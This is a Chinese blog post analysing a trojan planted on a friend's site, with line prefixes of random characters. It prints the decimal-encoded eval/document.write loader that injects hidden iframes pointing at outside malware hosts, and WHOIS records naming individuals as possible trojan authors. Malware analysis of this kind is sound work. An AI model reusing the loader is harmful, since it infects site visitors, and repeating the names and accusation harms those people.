首发在我的博客里面，
9/46%=& ] 7+8bL{ http://www.areway.cn/?p=175 sFx$>:$ (4ZLpsbJ ei B(VOJ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Q<'@V@H 03"#J2b <script>t=’60,105,102,114,97,109,101,
PJwEA 32,115,114,99,61,104,116,116,112,58,47,47,
.HD ebi 102,114,101,101,46,117,45,117,117,117,46,99,
"o==4?*L 110,47,101,114,114,111,114,46,104,116,109,
=tq7z =k 32,119,105,100,116,104,61,49,48,48,32,104,
L w*1 .~ 101,105,103,104,116,61,48,62,60,47,105,102,
{{zua- F 114,97,109,101,62′;
r`>~Lp` t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
J[+Tj @n' TAAR'Jz S <script>t=’60,105,102,114,97,109,101,32,115,
>C^/,/%v 114,99,61,104,116,116,112,58,47,47,102,114,
0#
UAj T3 101,101,46,117,45,117,117,117,46,99,110,47,
P%jkKE?B4 101,114,114,111,114,46,104,116,109,32,119,
[Y oa"K 105,100,116,104,61,49,48,48,32,104,101,105,
Ltg-w\?] 103,104,116,61,48,62,60,47,105,102,114,97,
7 s-`QdWX 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
y[p6y[r* document.write(t);</script>
Bfn]-]>sD CRd_} <html xmlns=”
-& 7=uRQk http://www.w3.org/1999/xhtml e@+v9Bs]q “>
Ei~] iZ} <head>
yUj;4vd <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
o3= .T+B <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
'}fel5YV <title>首页 - 爱生活家庭网
JOgmF_(>Z [wIKK/ O 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
-g$O OJB6 转换字符串后的大概内容是（谁点击后果自付）：
_X?y , # <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
z =%IcSx; &08 Tns" 查询玉米u-uuu.cn的详细信息：
`x< 0A Domain Name: u-uuu.cn
&0i71 !Oy ROID: 20070901s10001s64972306-cn
* T\ > Domain Status: ok
$uTlbAuv Registrant Organization: 王雷
h+
TB] Registrant Name: 王雷
&
]%\.m Administrative Email:
czlovexs@126.com 6i ^0T Sponsoring Registrar: 北京万网志成科技有限公司
~Cu lFxu Name Server:ns.yovole.com
(A|B@a!Y> Name Server:ns1.yovole.com
o:f|zf>
i< Registration Date: 2007-09-01 17:54
jiOf')d5 Expiration Date: 2008-09-01 17:54
y ,1S& k 最后PING了一下地址 都没有什么….
< JJkki i!y\WaCp 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
d^_itC;-, <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
f0g6g!& gf <script language=”javascript” src=”
=X<)5 IS3 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script xz="|H D); >
BMe72 这个玉米应该有可能是木马作者的：
myffYK, foafau.info的详细信息：
T+3k$G[e / Access to INFO WHOIS information is provided to assist persons in
3me<~u determining the contents of a domain name registration record in the
89ZDOji?O Afilias registry database. The data in this record is provided by
i"KL;t[1 Afilias Limited for informational purposes only, and Afilias does not
AwA1&mh guarantee its accuracy. This service is intended only for query-based
)m)h/_ access. You agree that you will use this data only for lawful purposes
JJ )y2 and that, under no circumstances will you use this data to: (a) allow,
K"G(?<>~4c enable, or otherwise support the transmission by e-mail, telephone, or
f};!m=b facsimile of mass unsolicited, commercial advertising or solicitations
#<D@3ScC to entities other than the data recipient’s own existing customers; or
US"2O!u (b) enable high volume, automated, electronic processes that send
rg "TJ"Q- queries or data to the systems of Registry Operator, a Registrar, or
J~fuW?a]r Afilias except as reasonably necessary to register domain names or
5=Zp%[ # modify existing registrations. All rights reserved. Afilias reserves
L>i<dD{ the right to modify these terms at any time. By submitting this query,
0>8ZN!@K you agree to abide by this policy.
:R{x]sv Domain ID:D22418703-LRMS
u;QH8 LK Domain Name:FOAFAU.INFO
4$qNcMdz Created On:20-Nov-2007 16:05:42 UTC
[Aa[&RX+9 Last Updated On:20-Nov-2007 16:05:44 UTC
+q$xw}+PK Expiration Date:20-Nov-2008 16:05:42 UTC
_ Eszr(zJ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
j #4+- Status:CLIENT DELETE PROHIBITED
,K`E&hS Status:CLIENT RENEW PROHIBITED
<tGI]@Nwk Status:CLIENT TRANSFER PROHIBITED
#I bS Status:CLIENT UPDATE PROHIBITED
m`[oT\ Status:TRANSFER PROHIBITED
cYE./1D a Registrant ID:GODA-040110615
i=x.tsJ:hB Registrant Name:liu hong
? hP<@L6K Registrant Organization:
\IO$ +Guh Registrant Street1:beijing
{c&qB`y<. Registrant Street2:
5F% h>tqh Registrant Street3:
jM{(8aUG Registrant City:beijing
$(Z]TS$M& Registrant State/Province:
N:"M&E UM Registrant Postal Code:100000
m
j'"Z75 Registrant Country:CN
^mS.HT=X Registrant Phone:+86.860108888777
z +y;y&P Registrant Phone Ext.:
BLWA!- Registrant FAX:
|Gf1^8:C9 Registrant FAX Ext.:
EY,;e\7O, Registrant Email:bbbshiji@163.com
)w^GP lh Admin ID:GODA-240110615
NKupOJJq Admin Name:liu hong
dcV,_ Admin Organization:
{d&X/ tT Admin Street1:beijing
) er?*^9Z Admin Street2:
nNd`]F^U Admin Street3:
j;$6F/g Admin City:beijing
]J8 KCjq@ Admin State/Province:
G5y]^P Admin Postal Code:100000
82G lbd) Admin Country:CN
>DPds ~k Admin Phone:+86.860108888777
V:nMo2'hb Admin Phone Ext.:
H ={O13 Admin FAX:
n1fE daa7g Admin FAX Ext.:
{QIS411 Admin Email:bbbshiji@163.com
61ON Billing ID:GODA-340110615
c+}!yH$ Billing Name:liu hong
R4z<Xf:! Billing Organization:
94Kuy@0:+ Billing Street1:beijing
8@9h U`H8l Billing Street2:
6R$ F =MB Billing Street3:
Y&K<{ KA\4 Billing City:beijing
Wq=ZU \Y Billing State/Province:
lGD%R' } Billing Postal Code:100000
1( #*'xR Billing Country:CN
b#?ai3E Billing Phone:+86.860108888777
fxLE ]VJQ Billing Phone Ext.:
X|lElN Billing FAX:
+0oyt? Billing FAX Ext.:
c4!c_a2pS Billing Email:bbbshiji@163.com
.Um?5wG~i Tech ID:GODA-140110615
=!1-AR%.^ Tech Name:liu hong
v#FJ+ Tech Organization:
{ar5c&< Tech Street1:beijing
'xLM>6[wz Tech Street2:
,v$2'm)V Tech Street3:
~#HH;q_7m Tech City:beijing
GFASF,+ Tech State/Province:
/8P4%[\ Tech Postal Code:100000
>o0&:h|>$' Tech Country:CN
T:w2 Tech Phone:+86.860108888777
}mtC6G41Q Tech Phone Ext.:
e]dPF[?7 Tech FAX:
ku KnJWv Tech FAX Ext.:
\Y>#^b? Tech Email:bbbshiji@163.com
{UV<=R,E Name Server:NS27.DOMAINCONTROL.COM
Z>>gXh<e[ Name Server:NS28.DOMAINCONTROL.COM
Z=e [
!c Name Server:
N+C%Z[gt[ Name Server:
q:EzKrE Name Server:
V8 KTNt% Name Server:
rC1qGzg\a Name Server:
0~@L%~ Name Server:
BCa90 Name Server:
a6 #{2q Name Server:
c1)BGy li Name Server:
"FLD%3 l Name Server:
k
vue@ Name Server:
n !CP_ ] sm0E@ 1 接着下载每个文件里面的代码：
+_-)0[+p 一步一步看..
f<s'prF 
^Q43)H0 
8IT_mjj 
]Nd '%M 
mAYr<= 
!5'
8a5 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
